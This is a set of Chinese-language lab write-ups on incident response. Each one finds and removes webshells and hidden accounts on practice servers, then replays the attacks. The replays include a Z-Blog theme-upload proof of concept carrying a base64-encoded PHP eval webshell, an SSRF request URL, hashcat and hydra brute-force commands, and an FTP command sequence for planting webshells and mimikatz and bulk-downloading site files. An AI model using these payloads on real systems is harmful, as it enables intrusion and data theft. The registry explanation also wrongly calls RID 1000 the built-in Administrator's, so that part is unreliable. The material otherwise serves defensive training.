> 系列靶机web3，发现计划任务防守，z-blog1.7漏洞复现，文件上传+ssrf


---
## 1.
老规矩，d盾开扫，扫出来两个疑似
![图片.png](/static/img/ae7d99c5f401d35aad616add45aa1862.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

没错了，两个一句话
![图片.png](/static/img/02879159f6cb5cac6f6b0f902a6870bf.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
查看Apache日志，第一个攻击者ip为192.168.75.129
![图片.png](/static/img/462483aabd2bdbeec18e52e39e19aefe.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

依旧查看远程登录日志
发现第二个ip
2024-03-12 11:42:30	hack6618$	WIN-4K8FN05NEAI	10	User32 	WIN-4K8FN05NEAI	C:\Windows\System32\svchost.exe	192.168.75.130	0	4624

![图片.png](/static/img/98d7d9ae42be8d0aecbed31c2455391e.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

然后我们要开始找flag了

这里不知道为什么攻击没有扫到，还是得靠人工啊flag{zgsfsys@sec}
![图片.png](/static/img/4dc838b607b10f4492b7be62df0b45eb.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

找到对应的bat文件flag{888666abc}
![图片.png](/static/img/589df49298c1b7b49f4d3c6302d3b8b5.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
通过

net user hack6618$ zg@123456

登上去看看

![图片.png](/static/img/a5edfd3b7a210b10698970e1c84d509c.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

这里我们放弃思考，直接开打web

是个z-blog，搜搜cve，不对不对，我现在是防守的，我应该看看我的账号密码
![图片.png](/static/img/5da99b98571261bffb7cbffedc54b1e3.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

我这里就不折腾sql了，直接用官方工具
https://update.zblogcn.com/tools/nologin.zip

![图片.png](/static/img/6bc63acd5554c72a7aee035634d4ee93.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

注意到版本是1.7，一会打
![图片.png](/static/img/587203f8002a98bcd1f6c85549d2d6d5.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

发现flagflag{H@Ck@sec}
![图片.png](/static/img/f64ad9bff2cfc80d3d95ad3ca2d46da4.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

## 2.
然后就是开打了

通过版本号，找到对应的poc


```xml

<?xml version="1.0" encoding="utf-8"?><app version="php" type="theme"><id>aymFreeFive</id><name>shell</name><url>https://xxx.xxx</url><note>shell</note><description>shell</description><path>settings/main.php</path><include>include.php</include><level>1</level><author><name>shell</name><email>iyuanma@qq.com</email><url>https://xxx.xxx/</url></author><source><name>shell</name><email>xxx@qq.com</email><url>https://xxx.xxx</url></source><adapted>1</adapted><version>1</version><pubdate>2024-12-05</pubdate><modified>2024-12-05</modified><price>0</price><phpver>5.5</phpver><advanced><dependency></dependency><rewritefunctions></rewritefunctions><existsfunctions></existsfunctions><conflict></conflict></advanced><sidebars><sidebar1></sidebar1><sidebar2></sidebar2><sidebar3></sidebar3><sidebar4></sidebar4><sidebar5></sidebar5><sidebar6></sidebar6><sidebar7></sidebar7><sidebar8></sidebar8><sidebar9></sidebar9></sidebars><folder><path>shell/scripts/</path></folder><folder><path>shell/settings/</path></folder><folder><path>shell/style/images/</path></folder><folder><path>shell/style/</path></folder><folder><path>shell/template/</path></folder><file><path>shell/template/shelll.php</path><stream>PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pID8+</stream></file><verify>aHR0cDovL2xvY2FsaG9zdC9ia2IvCkM6L3hhbXBwL2h0ZG9jcy9ia2Iv</verify></app>

```

1.7.3及以下

通过主题管理上传zba文件
![图片.png](/static/img/33293c93ec88ada15b37fc8d193e11de.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


![图片.png](/static/img/03f4cb7563e93cd43f61cd800ba7bed2.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

连接成功
![图片.png](/static/img/1c1165266d874c32f8e3820f3d447033.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

这里其实还存在一个ssrf漏洞,在管理员权限下的

没啥意思，可以getshell就不要用这个

Z-BlogPHP <= 1.7.2 | PHP 5.2 - 8.2
```url
http://192.168.40.149/zb_users/plugin/UEditor/php/controller.php?action=catchimage&source[1]=127.0.0.1:8080
```

![图片.png](/static/img/78223c51ce337a72992e278a928860dc.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

![图片.png](/static/img/2f8013dabe17741dd6c16a9c705c6ae1.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

应急响应_web3靶机

> 开扫，本篇为发现后门，溯源，ftp攻击防御，ftp攻击



---
## 防御

老规矩，D盾开扫

![图片.png](/static/img/d3eabfae89466c7a77a819cc2a5b9dae.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

得到webshell名称为system.php链接密码hack6618
![图片.png](/static/img/25e41b5317d23b4200427aaa2e791b6f.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

定位到攻击者ip   192.168.126.135
![图片.png](/static/img/7bf2e415ac6b06b86014002d6ad590ae.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
可是题目要两个，看看windows日志

发现
2024-02-29 13:28:48	hack887$	WIN-RRCVI68HLRI	10	User32 	WIN-RRCVI68HLRI	C:\Windows\System32\svchost.exe	192.168.126.129	0	4624

于是第二个ip为  192.168.126.129
![图片.png](/static/img/e904d0e188ae9d493c47c7bee0834a16.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

这里问题是QQ号是多少

我这里进入了桌面发现有注册表文件，这里看了看网上教程，发现没人提到


![图片.png](/static/img/0fc206436c566c36612181c6212a2c0d.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
第一个user.reg文件
![图片.png](/static/img/ee3c55ab3bc216f4013ff7b033b87954.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)、

> 在 Users\Names 下创建子键 hack887$，这就在系统里“注册”了一个用户名。
> 
> 结尾的 $ 符号表示这是一个隐藏账户——在命令行用 net user 或普通用户管理界面里看不到它，只有直接查看注册表或用专门工具才能发现。
> 
> 默认值 @=hex(3e8):（通常应写成 hex(3e8) 或 DWORD 形式）将这个用户映射到 RID 0x3E8（十进制 1000）。
RID 1000 在 Windows 中一般是默认的内置管理员账户（Administrator）的 RID。这样就把 hack887$ 的权限提升到了管理员级别，实际上和 Administrator 账户共享同一个用户数据


第二个文件

![图片.png](/static/img/a1288a245d96a6f0d874268197772bf1.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

> 路径 000003E8 正是 RID 0x3E8 对应的用户数据存储位置。

> 它修改了四个关键的键值：
> 
> F：账户核心配置，包含密码哈希、账户启用状态、RID 等。里面的二进制数据里可以看到 h.a.c.k.8.8.7.$ 的 Unicode 字符串，直接关联到新建的用户名。
> 
> V：账户的详细配置数据，比如登录时间、密码策略、组成员信息等。
> 
> ForcePasswordReset = 0：明确设置为不强制要求下次登录修改密码，使账户可以直接使用。
> 
> SupplementalCredentials：存储额外的凭据信息（如 NTLM 哈希、Kerberos 密钥等），确保账户能正常进行网络登录和域相关认证，而不只是本地登录。

这些二进制块实际上就是该用户的密码哈希和其他安全凭证。导入这个 .reg 文件后，hack887$ 账户就直接拥有了预设的密码，攻击者无需知道明文，只要用对应的哈希即可登录。

所以这里也可以按照网上的文章看看

根据之前分析，发现确实那个hack账户被隐藏掉了
![图片.png](/static/img/8a668ec1444c513404bf7d91478c998b.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

所以对于隐藏账户，我们可以打开注册表查看

我这里打开就是，我不知道是不是提前开过了，给个路径，应该到这里去查看
SAM\SAM\Domains\Account\Users\Names
![图片.png](/static/img/7a6e2d2011c86dda660a59fb8c0d64c1.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

删除即可

这里因为时间不对，这个靶机比较早，所以这里无法通过时间来判断攻击者写入过哪些文件


```powershell
$StartTime = "2026-08-10T02:00:00"
$EndTime   = "2026-08-10T03:00:00"
Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue | Where-Object {
    $_.LastWriteTime -ge $StartTime -and $_.LastWriteTime -le $EndTime
} | Select-Object FullName, LastWriteTime, Length | Export-Csv C:\temp\files_mod.csv
```
这里还可以通过快速访问查看

![图片.png](/static/img/27b6a98d4c222df04730fc90bd07a3a2.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
按照穷举发现文档内存在腾讯文件，于是777888999321是qq号，发现frp内网穿透，看看配置文件

![图片.png](/static/img/58f2a3454a28fada7734c425fd320258.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
在frpc.ini文件发现服务器ip为256.256.66.88，端口号为65536（这些不存在ip应为254以下，端口为65535以下）
![图片.png](/static/img/5d9e10225b7d2e8e69276c7982236efc.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

由于之前web服务日志只有访问，没有post上传行为，所以翻阅ftp日志发现大量爆破信息，最后成功登录21端口

![图片.png](/static/img/07ac743627f493b1b3e6a0e41eb49fc5.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

![图片.png](/static/img/65ddf4f27eefc413e2649abab7231b72.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


## 这里尝试攻击者视角进行登录

发现是

FileZilla Server 0.9.60 beta 的 FTP 服务。这是一个比较老的版本（发布于 2017 年左右），可能存在一些已知的攻击面，
![图片.png](/static/img/9bdc5dcfee714c149f0519d5a28a7ab8.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

然后这里为了省事，先看看ftp配置


![图片.png](/static/img/cf1501ba10c9b058fb3c731f6575781d.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

账户admin密码MD5哈希解出来是admin666888

这里如果没有在线，也可以通过kali


```bash
# 将哈希写入文件
echo '607cfd609d28dc2e4733fdbf0b0b80e1' > ftp_hash.txt

# 使用 hashcat 破解，模式 0 = MD5
hashcat -m 0 ftp_hash.txt /usr/share/wordlists/rockyou.txt

# 如果你的 Kali 没有 rockyou.txt，先解压：
# sudo gunzip /usr/share/wordlists/rockyou.txt.gz
```

![图片.png](/static/img/d28500c1e2abd6a41145cab56f77c8e0.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

这里为了做演示在top500加入密码跑个字典看看

```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.40.148
```
![图片.png](/static/img/1fc09e75ab1eb8b46fbc238f8bacf1d4.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

这时我们查看日志发现

![图片.png](/static/img/73fabf82b49d7ac257db22c3fdfdde0e.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

然后我们连接传个马子上去


![图片.png](/static/img/23f4c3aa0481fa7085fb6935c12d1347.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

![图片.png](/static/img/3c14657f1683728b3d5371edcc89baad.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

成功连接，结束


![图片.png](/static/img/2e8713bd822b55f712592d6cdd14a81d.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
:::tip{title="常用"}


### 基本操作
| 命令 | 说明 | 示例 |
|------|------|------|
| `ls` 或 `dir` | 列出服务器当前目录的文件 | `ls -la` |
| `cd 目录` | 进入服务器上的目录 | `cd tools` |
| `lcd 本地目录` | 切换本地（Kali）工作目录 | `lcd /home/kali/Downloads` |
| `pwd` | 显示服务器当前路径 | `pwd` |
| `!pwd` | 显示本地当前路径（加 `!` 执行本地命令） | |

---

### 下载文件（从服务器 → 本地）
| 命令 | 说明 |
|------|------|
| `get 文件名` | 下载单个文件到本地 | 
| `mget 通配符` | 批量下载（会提示确认） |
| `reget 文件名` | 断点续传下载 |

**例子**：
```bash
ftp> lcd /home/kali/桌面          # 先切到本地存放目录
ftp> get webshell.php            # 下载单个文件
ftp> mget *.exe                  # 下载所有 exe
```

---

### 上传文件（从本地 → 服务器）
| 命令 | 说明 |
|------|------|
| `put 本地文件名` | 上传单个文件到服务器 |
| `mput 通配符` | 批量上传 |
| `append 本地文件 远程文件` | 追加内容到远程文件末尾 |

**例子**：
```bash
ftp> lcd /home/kali/tools        # 本地要上传的文件所在目录
ftp> put mimikatz.exe            # 上传单个文件
ftp> mput *.dll                  # 批量上传
```

---

### 文件模式设置（**上传 exe、图片等必须用二进制**）
```bash
ftp> binary        # 二进制模式（上传 exe、zip、图片等）
ftp> ascii         # 文本模式（上传 txt、php、html 等）
```
攻击者通常统一用 `binary` 避免文件损坏。

---

### 删除与创建目录
| 命令 | 说明 |
|------|------|
| `delete 文件名` | 删除服务器上的文件 |
| `mdelete *.log` | 批量删除 |
| `mkdir 目录名` | 创建目录 |
| `rmdir 目录名` | 删除空目录 |

---

### 退出
```bash
ftp> bye
# 或 quit
```

---

### 典型攻击者操作序列（复刻用）

假设攻击者用这个 FTP 上传了后门，操作可能是：
```bash
ftp> binary
ftp> cd /phpstudy_pro/WWW       # 进入网站目录（可能不需要，因为根目录就是）
ftp> put shell.php              # 上传 webshell
ftp> put payload.exe
ftp> ls
ftp> bye
```

如果要“下载”网站源码（窃取数据），则是：
```bash
ftp> lcd /tmp/stolen
ftp> binary
ftp> prompt off                # 关闭批量下载的确认提示
ftp> mget *
ftp> bye
```

---

:::

应急响应_web靶机2

> 开扫，仅为学习，看了几篇文章学下思路复现下

---
上号发现

![图片.png](/static/img/f471aac81b1dc3802d8d4f6d14a14ac4.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

直接打开小皮根目录，传个D盾开扫

![图片.png](/static/img/08869791aef9e83b97d800a94488521f.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

这里扫出来一个，还没来得及看就被windows自己杀了，为了解题，我们恢复一下

![图片.png](/static/img/a4a127743771a81ca3d039907c2eee7f.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

![图片.png](/static/img/d12ce81d76e9b19596f0911946adf765.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
此时第一题解决连接密码为rebeyond
![图片.png](/static/img/83965c6d7f7a22d55b50c82662a65e64.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

然后开始溯源，查看Apache日志发现，此时第二题解决，攻击者ip为192.168.126.1

![图片.png](/static/img/7cb9edd8cab05eb4a00a09d4743b179f.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

分析发现远程桌面登录用户hack168$https://github.com/dogadmin/windodws-logs-analysis

![图片.png](/static/img/b0e69b9bc5f93e1f93ba46e46d3fcfef.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

查找到对应用户文件夹下，发现挖矿程序名字为Kuang

![图片.png](/static/img/75554cfee2c9ad57821a319495b5befe.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


还需要反编译，使用pyinstxtractor


![图片.png](/static/img/3e8cf6b511c335a062158ee0abc3e88e.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

pyc反编译https://www.lddgo.net/string/pyc-compile-decompile

发现域名http://wakuang.zhigongshanfang.top
![图片.png](/static/img/eb6636c45b65632cecfcfed3b9ad34f1.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

![图片.png](/static/img/836ce8f05151aaa1d811417647c41f34.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

然后开始漏洞修复，先跑起来看看是什么平台

是个blog
![图片.png](/static/img/ad1eb5c7e0f3b74294701d239fb99771.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

这里想注册个账号看到有个图片上传，绕了绕没绕过去

发力，搜索发现是**emlog | CVE-2023-44973**

通过插件发现admin接口，尝试登录抓包，明文账密，弱口令爆破登录

![图片.png](/static/img/6736250a8e4d8cee5bf811fc78b514ee.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

不中，有重定向，直接弱口令吧admin/123456

然后找到模板上传的点，要求上传一个zip

![图片.png](/static/img/583b5026fdfd3f65aa19e0089c5bd65f.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

直接打包我的大马上传不行，所以需要混在真正的模板里面，网上找一个
https://www.boke8.net/emlog-bitter-theme.html

上传，在服务器找到，并记住对应目录

![图片.png](/static/img/ec13a4425486378a4ebfb2e801a826e6.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

访问即可，

![图片.png](/static/img/6f4c65334e631b37e9520c2d42b4134d.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

这里D盾扫扫其实发现还是可以扫出来我的木马的
![图片.png](/static/img/904221709882ef2b473d482a6e06ef3a.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)